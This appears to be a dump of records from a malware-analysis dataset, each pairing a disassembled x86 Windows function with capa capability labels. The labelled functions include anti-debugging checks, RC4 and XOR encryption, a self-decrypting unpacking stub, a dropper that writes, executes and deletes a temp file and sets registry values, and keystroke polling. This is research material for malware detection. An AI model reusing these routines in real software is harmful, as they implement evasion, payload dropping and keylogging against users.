joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d5f0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x43d623
push esi
call fcn.00440700
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x43d61c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x43d6a9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x43d692
mov eax, dword [esi + 8]
test eax, eax
je 0x43d647
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x43d68e
cmp eax, 2
je 0x43d692
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43d63a
cmp eax, 3
je 0x43d66d
cmp eax, 1
jne 0x43d63a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x43d63a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x43d63a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0043d6d0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x43d6b8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0043d6d0
add esp, 4
pop esi
ret

Function at 0x44b780
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b48f8]
xor edx, edx
cmp eax, edx
jne 0x44b7a6
xor eax, eax
mov byte [eax + 0x4b47f8], al
inc eax
cmp eax, 0x100
jl 0x44b78e
mov dword [0x4b48f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b47f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x44b837
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44b80a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x44b7d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x44b8b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x44b903
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44b8ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x452280
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47f14e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00452ba0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x487144
call fcn.00470e23
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x452313
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00470e23
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x45230c
push 0
mov ecx, eax
call fcn.004493b0
mov dword [esi + 0xc], eax
jmp 0x452315
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x452315
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x473489
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4734c1
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047153d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00471515
jmp 0x4734cd
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x474b7b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x474bbd
call fcn.0047a635
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x474bbd
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x474bb4
xor eax, eax
jmp 0x474bc5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00474bcb
pop edi
pop esi
pop ebx
ret 4
Function at 0x47ab65
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47ab93
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47abb1
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047aacb
jmp 0x47abb1
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47abb1
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047aacb
test edi, edi
mov eax, edi
jne 0x47ab9b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4022e3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push edi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040228b
mov edi, eax
add esp, 0xc
test edi, edi
je 0x40233d
cmp dword [ebp - 4], 0
jbe 0x40233d
push 0x402010
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40233d
push esi
push 1
push dword [ebp - 4]
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push 1
pop eax
jmp 0x40233f
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x402645
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, 0x104
lea eax, [ebp - 0x208]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x104]
push esi
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, dword [ebp + 0xc]
push esi
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x4026aa
lea eax, [ebp - 0x104]
dec esi
push eax
push 0x402110
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
jmp 0x4026c7
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
dec esi
push eax
push 0x402100
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 1
pop eax
pop esi
leave
ret
Function at 0x4026cd
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [0x402c20], eax
call fcn.0040246c
test eax, eax
je 0x40271c
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call esi
test eax, eax
je 0x40271e
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
jmp 0x4026f9
xor edi, edi
call fcn.00402579
mov dword [ebp + 8], eax
lea eax, [ebp - 0x224]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x402754
push edi
lea eax, [ebp - 0x224]
push esi
push eax
push dword [0x402c20]
call fcn.004028b7
add esp, 0x10
push esi
lea eax, [ebp - 0x120]
push edi
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0xc
lea eax, [ebp - 0x224]
mov ebx, 0x103
push eax
push 0x402180
lea eax, [ebp - 0x120]
push ebx
push eax
call edi
lea eax, [ebp - 0x120]
push eax
push 0x40217c
push 0x65
call fcn.004022e3
add esp, 0x1c
test eax, eax
je 0x4027bd
push dword [ebp + 0x14]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp + 8], 0
je 0x4028ae
push 0
lea eax, [ebp - 0x224]
push esi
push eax
call fcn.00402645
add esp, 0xc
test eax, eax
jne 0x4027f4
push eax
lea eax, [ebp - 0x224]
push esi
push eax
push dword [0x402c20]
call fcn.004028b7
add esp, 0x10
push esi
lea eax, [ebp - 0x120]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x224]
push eax
push 0x402170
lea eax, [ebp - 0x120]
push ebx
push eax
call edi
lea eax, [ebp - 0x120]
push eax
push 0x40216c
push 0x66
call fcn.004022e3
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.004021b0
push esi
lea eax, [ebp - 0x328]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x30
lea eax, [ebp - 0x224]
push eax
push 0x40215c
lea eax, [ebp - 0x328]
push ebx
push eax
call edi
add esp, 0x10
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov ebx, 0x40213c
mov edi, 0x80000002
push 7
push 0x402134
push 1
push 0x402128
push ebx
push edi
call esi
push 7
push 0x402134
push 1
push 0x402120
push ebx
push edi
call esi
lea eax, [ebp - 0x328]
push eax
call fcn.00402343
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x402984
Capabilities:
Create directory

Disassembly:
push esi
push 0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
test esi, esi
jne 0x4029a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4029a9
push 1
pop eax
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x40507c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40508b
pop dword [ebp - 0x48]
mov eax, 0x299006a5
sub eax, 0x294fb61a
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3c7a7
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x4251
mov edi, eax
mov edx, 0x435400
add edx, dword [ebp - 0x48]
mov esi, 0x17e55f95
add dword [ebp - 8], 0x6423c5d4
mov ebx, dword [edx]
mov dword [ebp - 4], 0xa56373d9
xor ebx, esi
xor dword [ebp - 4], 0xc0b7c364
mov dword [edi], ebx
add dword [ebp - 8], esi
add edi, 0xe5e2b42d
sub edi, 0xe5e2b429
add edx, 0xbf6798ab
add edx, 0x40986759
loop 0x4050d3
add eax, 0xa9b15151
sub eax, 0xa9b0553a
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x40ab40
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46860b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045d1fe
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40abc2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045af7d
mov eax, dword [eax]
push 0x5461c0
push eax
call fcn.0044dde4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045d489
test bl, bl
je 0x40abc2
push 0x5461c0
lea ecx, [esp + 0xc]
call fcn.0045d819
push 0x549d1c
lea ecx, [esp + 0xc]
call fcn.0045d819
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40abfe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045d489
jmp 0x40acc9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40ac82
lea edx, [esp + 0x7c]
push 0x549d18
push edx
call fcn.0044dde4
add esp, 8
test eax, eax
je 0x40ac82
lea eax, [esp + 0x7c]
push 0x549d14
push eax
call fcn.0044dde4
add esp, 8
test eax, eax
je 0x40ac82
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ac12
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045d489
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b4c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b522
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b530
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46868b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5501e8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b668
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b596
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d489
xor eax, eax
jmp 0x40b6df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045d5c6
push esi
lea ecx, [esp + 0xc]
call fcn.0045d855
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b6bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040b4c0
test eax, eax
jne 0x40b6bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040b4c0
test eax, eax
jne 0x40b6bd
lea eax, [esp + 0x14]
push 0x549d30
push eax
call fcn.0044eef0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b69c
lea ecx, [esp + 0x14]
push 0x549d2c
push ecx
call fcn.0044ee70
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b69c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b69f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045d576
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b5ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d489
xor eax, eax
jmp 0x40b6df
mov byte [esi], 0
push 0x549d28
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045d489
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41baa0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bb0e
cmp si, 0x69
ja 0x41bb0e
add esi, 0xffd0
cmp si, 0x11
je 0x41bade
push 0x11
call edi
test ax, ax
jge 0x41bade
or esi, 0x2000
cmp si, 0x10
je 0x41baf3
push 0x10
call edi
test ax, ax
jge 0x41baf3
or esi, 0x4000
cmp si, 0x12
je 0x41bb08
push 0x12
call edi
test ax, ax
jge 0x41bb08
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41bb1b
mov esi, 0xbd
jmp 0x41bacf
cmp si, 0x6e
jne 0x41bb28
mov esi, 0xbe
jmp 0x41bacf
cmp si, 0x6f
jne 0x41bac9
mov esi, 0xbf
jmp 0x41bacf

Function at 0x41d210
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5608b8]
xor edx, edx
cmp eax, edx
jne 0x41d236
xor eax, eax
mov byte [eax + 0x5607b8], al
inc eax
cmp eax, 0x100
jl 0x41d21e
mov dword [0x5608b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5607b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d2c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d29a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d268
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d393
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d37a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423dd0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x423f68
cmp ebp, ebx
jle 0x423f68
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x423e2e
dec eax
or eax, 0xfffffff8
inc eax
je 0x423e35
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x423e44
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x423e4b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045d1ca
add esp, 4
cmp eax, ebx
je 0x423e6c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045d1ca
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x423f5e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x423f45
mov al, byte [edx]
cmp al, 0xc0
jbe 0x423f31
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x423f26
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x423f34
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x423f34
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x423ed0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x423ec1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x426fc0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x469b58
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x426ff9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00464ba1
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00464bed
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00427080
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00464c2a
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24